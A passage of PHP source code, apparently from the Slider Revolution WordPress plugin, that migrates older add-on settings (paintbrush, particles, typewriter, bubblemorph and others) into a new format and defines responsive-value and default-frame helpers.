						'fixedges' => array(
							'enable' => $this->_truefalse($_->get_param('paintbrush_fixedges', false)),
							'amount' => $_->get_param('paintbrush_edgeamount', 10),
						),
					),
				),
				'brush' => array(
					'style' => $_->get_param('paintbrush_style', 'round'),
					'size' => $_->get_param('paintbrush_size', 80),
					'responsive' => $this->_truefalse($_->get_param('paintbrush_responsive', false)),
					'disappear' => array(
						'enable' => $this->_truefalse($_->get_param('paintbrush_disappear', false)),
						'time' => $_->get_param('paintbrush_fadetime', 1000),
					),
				),
				'mobile' => array(
					'disable' => $this->_truefalse($_->get_param('paintbrush_mobile', false)),
					'fallback' => $this->_truefalse($_->get_param('paintbrush_fallback', false)),
				),

			);

			$obj['revslider-paintbrush-addon']['image']['blur']['amount'] = intval($obj['revslider-paintbrush-addon']['image']['blur']['amount']);
			if($obj['revslider-paintbrush-addon']['image']['blur']['amount'] < 1){
				$obj['revslider-paintbrush-addon']['image']['blur']['amount'] = 1;
			}

			if($obj['revslider-paintbrush-addon']['image']['blur']['amount'] > 100){
				$obj['revslider-paintbrush-addon']['image']['blur']['amount'] = 100;
			}

			$obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] = intval($obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount']);
			if($obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] < 0){
				$obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] = 0;
			}

			if($obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] > 100){
				$obj['revslider-paintbrush-addon']['image']['blur']['fixedges']['amount'] = 100;
			}

			$obj['revslider-paintbrush-addon']['brush']['size'] = intval($obj['revslider-paintbrush-addon']['brush']['size']);
			if($obj['revslider-paintbrush-addon']['brush']['size'] < 5){
				$obj['revslider-paintbrush-addon']['brush']['size'] = 5;
			}

			if($obj['revslider-paintbrush-addon']['brush']['size'] > 500){
				$obj['revslider-paintbrush-addon']['brush']['size'] = 500;
			}

			$obj['revslider-paintbrush-addon']['brush']['disappear']['time'] = intval($obj['revslider-paintbrush-addon']['brush']['disappear']['time']);
			if($obj['revslider-paintbrush-addon']['brush']['disappear']['time'] < 100){
				$obj['revslider-paintbrush-addon']['brush']['disappear']['time'] = 100;
			}

			if($obj['revslider-paintbrush-addon']['brush']['disappear']['time'] > 10000){
				$obj['revslider-paintbrush-addon']['brush']['disappear']['time'] = 10000;
			}

		}

		// DISTORTION
		if($_->get_param('liquideffect_enabled', false) !== false){
			$obj['revslider-liquideffect-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('liquideffect_enabled', false)),
				'map' => array(
					'image' => $_->get_param('liquideffect_image', 'Ripple'),
					'custom' => $_->get_param('liquideffect_custommap', ''),
					'size' => $_->get_param('liquideffect_size', 'Large'),
				),
				'animation' => array(
					'enable' => $this->_truefalse($_->get_param('liquideffect_autoplay', true)),
					'speedx' => $_->get_param('liquideffect_speedx', 2),
					'speedy' => $_->get_param('liquideffect_speedy', 20),
					'rotation' => $_->get_param('liquideffect_rotation', 0),
					'rotationx' => $_->get_param('liquideffect_rotationx', 20),
					'rotationy' => $_->get_param('liquideffect_rotationy', 0),
					'scalex' => $_->get_param('liquideffect_scalex', 20),
					'scaley' => $_->get_param('liquideffect_scaley', 20),
				),
				'transition' => array(
					'enable' => $this->_truefalse($_->get_param('liquideffect_transition', true)),
					'cross' => $this->_truefalse($_->get_param('liquideffect_transcross', true)),
					'duration' => $_->get_param('liquideffect_transtime', 1000),
					'easing' => $_->get_param('liquideffect_easing', 'power3.out'),
					'speedx' => $_->get_param('liquideffect_transpeedx', 2),
					'speedy' => $_->get_param('liquideffect_transpeedy', 100),
					'rotation' => $_->get_param('liquideffect_transrot', 0),
					'rotationx' => $_->get_param('liquideffect_transrotx', 20),
					'rotationy' => $_->get_param('liquideffect_transroty', 0),
					'scalex' => $_->get_param('liquideffect_transitionx', 2),
					'scaley' => $_->get_param('liquideffect_transitiony', 1280),
					'power' => $this->_truefalse($_->get_param('liquideffect_transpower', false)),
				),
				'interaction' => array(
					'enable' => $this->_truefalse($_->get_param('liquideffect_interactive', false)),
					'event' => $_->get_param('liquideffect_event', 'mousemove'),
					'duration' => $_->get_param('liquideffect_intertime', 500),
					'easing' => $_->get_param('liquideffect_intereasing', 'power2.out'),
					'speedx' => $_->get_param('liquideffect_interspeedx', 0),
					'speedy' => $_->get_param('liquideffect_interspeedy', 0),
					'rotation' => $_->get_param('liquideffect_interotation', 0),
					'scalex' => $_->get_param('liquideffect_interscalex', 2),
					'scaley' => $_->get_param('liquideffect_interscaley', 1280),
					'disablemobile' => $this->_truefalse($_->get_param('liquideffect_mobile', false)),
				),
			);
		}

		// DUOTONE
		if($_->get_param('duotonefilter_addon', false) !== false){
			$obj['revslider-duotonefilters-addon'] = array('filter' => $_->get_param('duotonefilter_addon', 'rs-duotone-none'));
		}

		// BEFOREAFTER
		if($_->get_param('beforeafter_enabled', false) !== false){
			$globals = json_decode(str_replace('\\', '', $_->get_param('beforeafter_globals', array('moveto' => '30%|30%|30%|30%'))), true);
			$movetos = explode('|', $this->get_val($globals, 'moveto'));

			$obj['revslider-beforeafter-addon'] = array(
				'enable' => $this->_truefalse($_->get_param('beforeafter_enabled', false)),
				'direction' => $_->get_param('beforeafter_direction', 'horizontal'),
				'delay' => $_->get_param('beforeafter_delay', 500),
				'time' => $_->get_param('beforeafter_time', 750),
				'easing' => $_->get_param('beforeafter_easing', 'power2.inOut'),
				'animateOut' => $_->get_param('beforeafter_animateout', 'fade'),
				'moveTo' => $this->c_to_resp(array('default' => 50, 'val' => array('desktop' => $this->get_val($movetos, 0), 'notebook' => $this->get_val($movetos, 1), 'tablet' => $this->get_val($movetos, 2), 'mobile' => $this->get_val($movetos, 3)))),
				'teaser' => array(
					'set' => $_->get_param('beforeafter_bouncearrows', 'none'),
					'type' => $_->get_param('beforeafter_bouncetype', 'repel'),
					'distance' => $_->get_param('beforeafter_bounceamount', 5),
					'speed' => $_->get_param('beforeafter_bouncespeed', 1500),
					'easing' => $_->get_param('beforeafter_bounceeasing', 'ease-in-out'),
					'delay' => $_->get_param('beforeafter_bouncedelay', 0),
				),
				'shift' => array(
					'set' => $this->_truefalse($_->get_param('beforeafter_shiftarrows', false)),
					'offset' => $_->get_param('beforeafter_shiftoffset', 10),
					'speed' => $_->get_param('beforeafter_shifttiming', 300),
					'easing' => $_->get_param('beforeafter_shifteasing', 'ease'),
					'delay' => $_->get_param('beforeafter_shiftdelay', 0),
				),
				'bg' => array(
					'type' => $_->get_param('background_type_beforeafter', 'trans'),
					'color' => $_->get_param('bg_color_beforeafter', '#e7e7e7'),
					'externalSrc' => $_->get_param('bg_external_beforeafter', ''),
					'fit' => $_->get_param('bg_fit_beforeafter', 'cover'),
					'fitX' => $_->get_param('bg_fit_x_beforeafter', '100'),
					'fitY' => $_->get_param('bg_fit_y_beforeafter', '100'),
					'position' => $_->get_param('bg_position_beforeafter', 'center center'),
					'positionX' => $_->get_param('bg_position_x_beforeafter', '0'),
					'positionY' => $_->get_param('bg_position_y_beforeafter', '0'),
					'repeat' => $_->get_param('bg_repeat_beforeafter', 'no-repeat'),
					'image' => $_->get_param('image_url_beforeafter', ''),
					'imageId' => $_->get_param('image_id_beforeafter', ''),
					'imageSourceType' => $_->get_param('image_source_type_beforeafter', ''),
					'mpeg' => $_->get_param('bg_mpeg_beforeafter', ''),
					'vimeo' => $_->get_param('bg_vimeo_beforeafter', ''),
					'youtube' => $_->get_param('bg_youtube_beforeafter', ''),
					'width' => '',
					'height' => '',
					'video' => array(
						'args' => $_->get_param('video_arguments_beforeafter', 'hd=1&wmode=opaque&showinfo=0&rel=0;'),
						'argsVimeo' => $_->get_param('video_arguments_vim_beforeafter', 'title=0&byline=0&portrait=0&api=1'),
						'dottedOverlay' => $_->get_param('video_dotted_overlay_beforeafter', 'none'),
						'startAt' => $_->get_param('video_start_at_beforeafter', ''),
						'endAt' => $_->get_param('video_end_at_beforeafter', ''),						
						'forceRewind' => $this->_truefalse($_->get_param('video_force_rewind_beforeafter', true)),
						'loop' => $_->get_param('video_loop_beforeafter', 'none'),
						'mute' => $this->_truefalse($_->get_param('video_mute_beforeafter', true)),
						'nextSlideAtEnd' => $this->_truefalse($_->get_param('video_nextslide_beforeafter', false)),
						'ratio' => $_->get_param('video_ratio_beforeafter', '16:9'),
						'speed' => $_->get_param('video_speed_beforeafter', '1'),
						'volume' => $_->get_param('video_volume_beforeafter', ''),
					),
					'videoId' => '',
				),
			);
		}
		
		//PARTICLE EFFECTS MIGRATION
		if($this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'enable'), false)) !== false){
			$p_start_at = $_s->get_param(array('addOns', 'revslider-particles-addon', 'startSlide'), 'first');
			$p_end_at = $_s->get_param(array('addOns', 'revslider-particles-addon', 'endSlide'), 'last');
			$add_particles = false;
			if($p_start_at === 'first' && $p_end_at === 'last'){
				$add_particles = true;
			}elseif($p_start_at === 'first' && intval($p_end_at) >= $slide_nr){
				$add_particles = true;
			}elseif($p_end_at === 'last' && intval($p_start_at) <= $slide_nr){
				$add_particles = true;
			}elseif(intval($p_start_at) <= $slide_nr && intval($p_end_at) >= $slide_nr){
				$add_particles = true;
			}
			if($add_particles === true){
				$obj['revslider-particles-addon'] = array(
					'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'enable'), false)),
					'hideOnMobile' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'hideOnMobile'), false)),
					'particles' => array(
						'shape' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'shape'), 'circle'),
						'number' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'number'), 80),
						'size' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'size'), 6),
						'sizeMin' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'sizeMin'), 1),
						'random' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'particles', 'random'), true))
					),
					'styles' => array(
						'border' => array(
							'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'border', 'enable'), false)),
							'color' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'border', 'color'), '#ffffff'),
							'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'border', 'opacity'), 100),
							'size' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'border', 'size'), 1)
						),
						'lines' => array(
							'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'enable'), false)),
							'color' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'color'), '#ffffff'),
							'width' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'width'), 1),
							'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'opacity'), 100),
							'distance' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'lines', 'distance'), 150)
						),
						'particle' => array(
							'color' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'color'), '#ffffff'),
							'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'opacity'), 100),
							'opacityMin' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'opacityMin'), 25),
							'opacityRandom' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'opacityRandom'), false)),
							'zIndex' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'styles', 'particle', 'zIndex'), 'default')
						)
					),
					'movement' => array(
						'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'enable'), true)),
						'randomSpeed' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'randomSpeed'), true)),
						'speed' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'speed'), 1),
						'speedMin' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'speedMin'), 1),
						'direction' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'direction'), 'none'),
						'straight' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'straight'), true)),
						'bounce' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'movement', 'bounce'), false))
					),
					'interactivity' => array(
						'hoverMode' => ($this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'interactivity', 'hoverMode')))) ? $_s->get_param(array('addOns', 'revslider-particles-addon', 'interactivity', 'hoverMode'), 'repulse') : 'none',
						'clickMode' => ($this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'interactivity', 'clickMode')))) ? $_s->get_param(array('addOns', 'revslider-particles-addon', 'interactivity', 'clickMode'), 'repulse') : 'none'
					),
					'bubble' => array(
						'distance' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'bubble', 'distance'), 400),
						'size' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'bubble', 'size'), 40),
						'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'bubble', 'opacity'), 40)
					),
					'grab' => array(
						'distance' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'grab', 'distance'), 400),
						'opacity' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'grab', 'opacity'), 50)
					),
					'repulse' => array(
						'distance' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'repulse', 'distance'), 200),
						'easing' => 100 /* new option */
					),
					'pulse' => array(
						'size' => array(
							'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'size', 'enable'), false)),
							'speed' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'size', 'speed'), 40),
							'min' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'size', 'min'), 1),
							'sync' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'size', 'sync'), false))
						),
						'opacity' => array(
							'enable' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'opacity', 'enable'), false)),
							'speed' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'opacity', 'speed'), 3),
							'min' => $_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'opacity', 'min'), 1),
							'sync' => $this->_truefalse($_s->get_param(array('addOns', 'revslider-particles-addon', 'pulse', 'opacity', 'sync'), false))
						)
					)
				);
			}
		}

		return $obj;
	}

	/**
	 * Migrate the Slider AddOns that were existing prior to version 6.0
	 * @since: 6.0
	 **/
	public function migrate_layer_AddOn(&$_, $slide){
		$obj = array();
		//EXPLODING LAYERS SEE IN SUBMIGRATION ROUTINE !!!!

		//WHITEBOARD MIGRATION
		if($this->get_val($_, 'whiteboard', false) !== false){
			
			$wbenabled = $this->get_val($_, array('whiteboard', 'hand_function'));
			$obj['revslider-whiteboard-addon'] = array(
				'enable' => $wbenabled !== 'off' ? true : false,
				'hand' => array(
					'angle' => $this->get_val($_, array('whiteboard', 'hand_angle')),
					'angleRepeat' => $this->get_val($_, array('whiteboard', 'hand_angle_repeat')),
					'direction' => $this->get_val($_, array('whiteboard', 'hand_direction')),
					'rotation' => $this->get_val($_, array('whiteboard', 'hand_full_rotation')),
					'rotationAngle' => $this->get_val($_, array('whiteboard', 'hand_full_rotation_angle')),
					'mode' => $this->get_val($_, array('whiteboard', 'hand_function')),
					'gotoLayer' => $this->get_val($_, array('whiteboard', 'hand_gotolayer')),
					'type' => $this->get_val($_, array('whiteboard', 'hand_type')),
					'x' => $this->get_val($_, array('whiteboard', 'hand_x_offset')),
					'y' => $this->get_val($_, array('whiteboard', 'hand_y_offset')),
				),
				'jitter' => array(
					'distance' => $this->get_val($_, array('whiteboard', 'jitter_distance')),
					'distanceHorizontal' => $this->get_val($_, array('whiteboard', 'jitter_distance_horizontal')),
					'offset' => $this->get_val($_, array('whiteboard', 'jitter_offset')),
					'offsetHorizontal' => $this->get_val($_, array('whiteboard', 'jitter_offset_horizontal')),
					'repeat' => $this->get_val($_, array('whiteboard', 'jitter_repeat')),
				),
			);
		}

		//TYPEWRITER MIGRATION
		if($this->get_val($_, 'typewriter', false) !== false){
			$obj['revslider-typewriter-addon'] = array(
				'enable' => $this->_truefalse($this->get_val($_, array('typewriter', 'enabled'))),
				'blinking_speed' => $this->get_val($_, array('typewriter', 'blinking_speed')),
				'cursor_type' => $this->get_val($_, array('typewriter', 'cursor_type')),
				'blinking' => $this->_truefalse($this->get_val($_, array('typewriter', 'blinking'))),
				'delays' => $this->get_val($_, array('typewriter', 'delays')),
				'deletion_delay' => $this->get_val($_, array('typewriter', 'deletion_delay')),
				'deletion_speed' => $this->get_val($_, array('typewriter', 'deletion_speed')),
				'hide_cursor' => $this->_truefalse($this->get_val($_, array('typewriter', 'hide_cursor'))),
				'linebreak_delay' => $this->get_val($_, array('typewriter', 'linebreak_delay')),
				'lines' => $this->get_val($_, array('typewriter', 'lines')),
				'looped' => $this->_truefalse($this->get_val($_, array('typewriter', 'looped'))),
				'newline_delay' => $this->get_val($_, array('typewriter', 'newline_delay')),
				'sequenced' => $this->_truefalse($this->get_val($_, array('typewriter', 'sequenced'))),
				'speed' => $this->get_val($_, array('typewriter', 'speed')),
				'start_delay' => $this->get_val($_, array('typewriter', 'start_delay')),
				'word_delay' => $this->get_val($_, array('typewriter', 'word_delay')),
			);
		}

		//BEFORE AFTER MIGRATION
		if($this->get_val($_, 'beforeafter', false) !== false){
			$obj['revslider-beforeafter-addon'] = array(
				'position' => $this->get_val($_, array('beforeafter', 'position'), 'before'),
			);
		}

		// WEATHER ADDON MIGRATION
		$layer_text = $this->get_val($_, 'text', 'New layer');
		if(strpos($layer_text, '{{weather_') !== false || strpos($layer_text, '%weather_') !== false){
			
			$params = $slide->get_params();
			$addons = $this->get_val($params, 'addOns', array());
			$weather = $this->get_val($addons, 'revslider-weather-addon', array());
			
			// push the Slide's "weather location" onto the Layer
			$obj['revslider-weather-addon'] = array(
				'location' => $this->get_val($weather, 'location', 'Cologne'), 
				'unit' => $this->get_val($weather, 'unit', 'c')
			);
			
			// replace %weather_wildcard% with {{weather_wildcard}}
			if(strpos($layer_text, '%weather_') !== false){
				$layer_text = preg_replace_callback(
					'/%weather.*?%/', 
					array($this, 'preg_replace_callback_addon'),
					$layer_text
				);
				$this->set_val($_, 'text', $layer_text);	
			}
		}

		//SLICEY LAYER SETTINGS
		if($this->get_val($_, 'type') === 'shape' && $this->get_val($_, 'subtype') === 'slicey'){
			$obj['revslider-slicey-addon'] = array(
				'scaleOffset' => $this->get_val($_, array('slicey', 'scale_offset'), 20),
				'blurStart' => $this->get_val($_, array('slicey', 'blurlstart'), 'inherit'),
				'blurEnd' => $this->get_val($_, array('slicey', 'blurlend'), 'inherit'),
			);
		}

		//BUBBLEMORPH LAYER SETTINGS
		if($this->get_val($_, 'type') === 'shape' && $this->get_val($_, 'subtype') === 'bubblemorph'){

			// incoming structure could be a single value or an Array, and value could also be "inherit"
			$bubbleObj = array();
			$bubbleDefaults = array(
				'max' => 6,
				'speedx' => 0.25,
				'speedy' => 1,
				'bufferx' => 0,
				'buffery' => 0,
				'blurstrength' => 0,
				'blurcolor' => 'rgba(0, 0, 0, 0.35)',
				'blurx' => 0,
				'blury' => 0,
				'bordersize' => 0,
				'bordercolor' => '#000000',
			);

			// need to sanitize as incoming value could be either a single value or an Array
			$bubblemorph = $this->get_val($_, 'bubblemorph');
			foreach($bubblemorph as $prop => $bubbleVal){
				// make sure value is an Array
				if(!is_array($bubbleVal)){
					$bubbleVal = array($bubbleVal, $bubbleVal, $bubbleVal, $bubbleVal);
				}

				// make sure Array length is 4
				while (count($bubbleVal) < 4){
					$bubbleVal[count($bubbleVal)] = $bubbleVal[count($bubbleVal) - 1];
				}

				// convert possible 'inherit' values
				foreach($bubbleVal as $bk => $bv){
					if($bv == 'inherit'){
						$bubbleVal[$bk] = $bubbleDefaults[$prop];
					}
				}

				// write new values to be passed into the cToResp function
				$bubbleObj[$prop] = array('desktop' => $this->get_val($bubbleVal, 0), 'notebook' => $this->get_val($bubbleVal, 1), 'tablet' => $this->get_val($bubbleVal, 2), 'mobile' => $this->get_val($bubbleVal, 3));

			}

			$obj['revslider-bubblemorph-addon'] = array(
				'settings' => array(
					'maxmorphs' => $this->c_to_resp(array('default' => $bubbleDefaults['max'], 'val' => $this->get_val($bubbleObj, 'max'))),
					'speedx' => $this->c_to_resp(array('default' => $bubbleDefaults['speedx'], 'val' => $this->get_val($bubbleObj, 'speedx'))),
					'speedy' => $this->c_to_resp(array('default' => $bubbleDefaults['speedy'], 'val' => $this->get_val($bubbleObj, 'speedy'))),
					'bufferx' => $this->c_to_resp(array('default' => $bubbleDefaults['bufferx'], 'val' => $this->get_val($bubbleObj, 'bufferx'))),
					'buffery' => $this->c_to_resp(array('default' => $bubbleDefaults['buffery'], 'val' => $this->get_val($bubbleObj, 'buffery'))),
				),
				'shadow' => array(
					'strength' => $this->c_to_resp(array('default' => $bubbleDefaults['blurstrength'], 'val' => $this->get_val($bubbleObj, 'blurstrength'))),
					'color' => $this->c_to_resp(array('default' => $bubbleDefaults['blurcolor'], 'val' => $this->get_val($bubbleObj, 'blurcolor'))),
					'offsetx' => $this->c_to_resp(array('default' => $bubbleDefaults['blurx'], 'val' => $this->get_val($bubbleObj, 'blurx'))),
					'offsety' => $this->c_to_resp(array('default' => $bubbleDefaults['blury'], 'val' => $this->get_val($bubbleObj, 'blury'))),
				),
				'border' => array(
					'size' => $this->c_to_resp(array('default' => $bubbleDefaults['bordersize'], 'val' => $this->get_val($bubbleObj, 'bordersize'))),
					'color' => $this->c_to_resp(array('default' => $bubbleDefaults['bordercolor'], 'val' => $this->get_val($bubbleObj, 'bordercolor'))),
				),
			);
		}

		return $obj;
	}
	
	/**
	 * needed for the addons
	 **/
	public function preg_replace_callback_addon($matches){
		return '{{' . str_replace('%', '', $matches[0]) . '}}';
	}
	
	/*
		CREATE A 4 LEVEL OBJECT STRUCTURE
		(DESKTOP, NOTEBOOK, TABLET, MOBILE) WITH DEFAULT OR PREDEFINED VALUES
		VALUE, EDITED (true/false), UNIT (PX, %, EM...)
		* @before: RevSliderPluginUpdate::cToResp();
	*/
	public function c_to_resp($attr = array('default' => 0, 'unit' => '')){
		$newObj = array();
		$unit = $this->get_val($attr, 'unit', '');
		$v = $this->get_val($attr, 'default', 0);

		foreach($this->_respsizes as $i => $rv){
			$s = $this->_respsizes[$i];
			$sold = $this->_respsizesold[$i];
			$val = $this->get_val($attr, 'val', false);
			
			/**
			 * first we check if the old value exists
			 **/
			if(isset($val[$sold])){
				/**
				 * take it as it is
				 **/
				$v = $this->get_val($val, $sold, false);
			}else{
				/**
				 * does not exist
				 * 1. check if any of the four values exist
				 **/
				$is_dntm = (is_array($val) && (isset($val['desktop']) || isset($val['notebook']) || isset($val['tablet']) || isset($val['mobile']))) ? true : false;
				if(is_array($val) && $is_dntm === false){ // || is_object($val)
					/**
					 * 2. check if we are an array but not the 4 sizes
					 *	- if this is the case, take the array as it is!
					 **/
					$v = $val; //(array)
				}elseif(!is_object($val) && !is_array($val) && $val !== false){
					/**
					 * 3. check if we are just a value
					 *	- if this is the case, just take the value
					 **/
					$v = $val;
				}elseif((!is_object($val) && !is_array($val)) || $this->get_val($val, $sold, false) === false){
					// $val !== false ||   || $this->get_val($val, $sold, false) === null
					/**
					 * 4. check if not array and object, also if old value not exist
					 *	- push the default, wich is until here still in $v
					 **/
					$v = $v;
				}else{
					/**
					 * 5. as none of these fit, take the $sold value out of $val
					 **/
					$v = $this->get_val($val, $sold, false);
				}
			}
			
			/**
			 * check if the new value is an array or not
			 **/
			if(is_array($v) || is_object($v)){
				$newObj[$s] = array('v' => $v, 'e' => false);
				if($attr !== false && $val !== false && $this->get_val($val, $sold, false) !== false){
					$newObj[$s]['e'] = true;
				}
				
				/**
				 * add the corresponding units to all values in the array if needed
				 **/
				foreach($v as $vi => $vval){
					if(strlen($unit) > 0 && $v[$vi] != 'auto' && $v[$vi] != 'none'){
						$newObj[$s]['v'][$vi] = intval($v[$vi]) . $unit;
					}else{
						$newObj[$s]['v'][$vi] = $v[$vi];
					}

					if($unit == '' && !is_numeric($newObj[$s]['v'][$vi])){
						if(strpos($newObj[$s]['v'][$vi], '%') !== false){
							$newObj[$s]['v'][$vi] = intval($newObj[$s][$vi]) .'%';
						}elseif(strpos($newObj[$s]['v'][$vi], 'px') !== false){
							$newObj[$s]['v'][$vi] = intval($newObj[$s]['v'][$vi]) .'px';
						}
					}

				}
			}else{
				/**
				 * add the corresponding units to the value if needed
				 **/
				if(strlen($unit) > 0){
					if($v !== 'auto' && $v !== 'none' && $v !== ''){
						$nv = intval($v) . $unit;
					}else{
						$nv = $v;
					}
				}else{
					$nv = $v;
				}

				$newObj[$s] = array('v' => $nv, 'e' => false, 'u' => $unit);
				if($this->get_val($val, $sold, false) !== false){
					$newObj[$s]['e'] = true;
				}

				if($newObj[$s]['v'] === '' && $this->get_val($attr, 'default', '') !== ''){
					$newObj[$s]['v'] = $this->get_val($attr, 'default');
				}

				if(is_array($newObj[$s]['v']) || is_object($newObj[$s]['v'])){
					foreach($newObj[$s]['v'] as $nok => $nov){
						if($unit == '' && !is_numeric($nov) && $nov !== false && $nov !== true){
							if(strpos($nov, '%') !== false){
								if(is_object($newObj[$s]['v'])){
									$newObj[$s]['v']->$nok = intval($nov) .'%';
								}else{
									$newObj[$s]['v'][$nok] = intval($nov) .'%';
								}
							}elseif(strpos($nov, 'px') !== false){
								if(is_object($newObj[$s]['v'])){
									$newObj[$s]['v']->$nok = intval($nov) .'px';
								}else{
									$newObj[$s]['v'][$nok] = intval($nov) .'px';
								}
							}
						}
					}
				}else{
					if($unit == '' && !is_numeric($newObj[$s]['v']) && $newObj[$s]['v'] !== false && $newObj[$s]['v'] !== true){
						if(strpos($newObj[$s]['v'], '%') !== false){
							$newObj[$s]['v'] = intval($newObj[$s]['v']) .'%';
						}elseif(strpos($newObj[$s]['v'], 'px') !== false){
							$newObj[$s]['v'] = intval($newObj[$s]['v']) .'px';
						}
					}
				}
			}
		}

		return $newObj;
	}

	//Make Array of Single Elements was makeArray()
	public function make_array($a, $len){
		if(!is_array($a)){
			$_ = array();
			for ($i = 0; $i < $len; $i++){
				$_[] = $a;
			}
			$a = $_;
		}
		return $a;
	}
	
	/**
	 * CREATE A DEFAULT FRAME OBJECT
	 * @before: RevSliderPluginUpdate::defaultFrame()
	 **/
	public function default_frame($o = array(), $overwrite_with = array()){
		$f = $this->get_val($o, 'fid', 'frame_0');
		
		$_base = array(
			'grayscale'	 => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'brightness' => array('frame_0' => 100, 'frame_1' => 100, 'frame_999' => 'inherit'), //100
			'blur'		 => array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //100
			'transformPerspective' => array('frame_0' => 600, 'frame_1' => 600, 'frame_999' => 600),
			//transform
			'x'			=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'y'			=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'z'			=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'scaleX'	=> array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), //0
			'scaleY'	=> array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'), //0
			'opacity'	=> array('frame_0' => 0, 'frame_1' => 1, 'frame_999' => 'inherit'), //1
			'rotationX'	=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'rotationY'	=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'rotationZ'	=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'skewX'		=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'skewY'		=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //0
			'originX'	=> array('frame_0' => '50%', 'frame_1' => '50%', 'frame_999' => 'inherit'), //'50%'
			'originY'	=> array('frame_0' => '50%', 'frame_1' => '50%', 'frame_999' => 'inherit'), //'50%'
			'originZ'	=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'), //'0'

			//timeline
			'ease' => array('frame_0' => false, 'frame_999' => 'power3.inOut'), //'power3.inOut'
			'start' => array('frame_0' => false, 'frame_1' => 10, 'frame_999' => true), //0
			'speed' => array('frame_0' => false, 'frame_999' => 300) //300
		);
		
		$_split = array(
			'ease'		=> array('frame_0' => false, 'frame_999' => 'inherit'),
			'direction'	=> array('frame_0' => false, 'frame_999' => 'forward'), //'forward'
			'delay'		=> array('frame_0' => false, 'frame_999' => 5), //5 
			'x'			=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'),
			'y'			=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'),
			'z'			=> array('frame_0' => 0, 'frame_1' => 0, 'frame_999' => 'inherit'),
			'scaleX'	=> array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'),
			'scaleY'	=> array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'),
			'rotationX'	=> array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'),
			'rotationY'	=> array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'),
			'rotationZ'	=> array('frame_0' => 1, 'frame_1' => 1, 'frame_999' => 'inherit'),
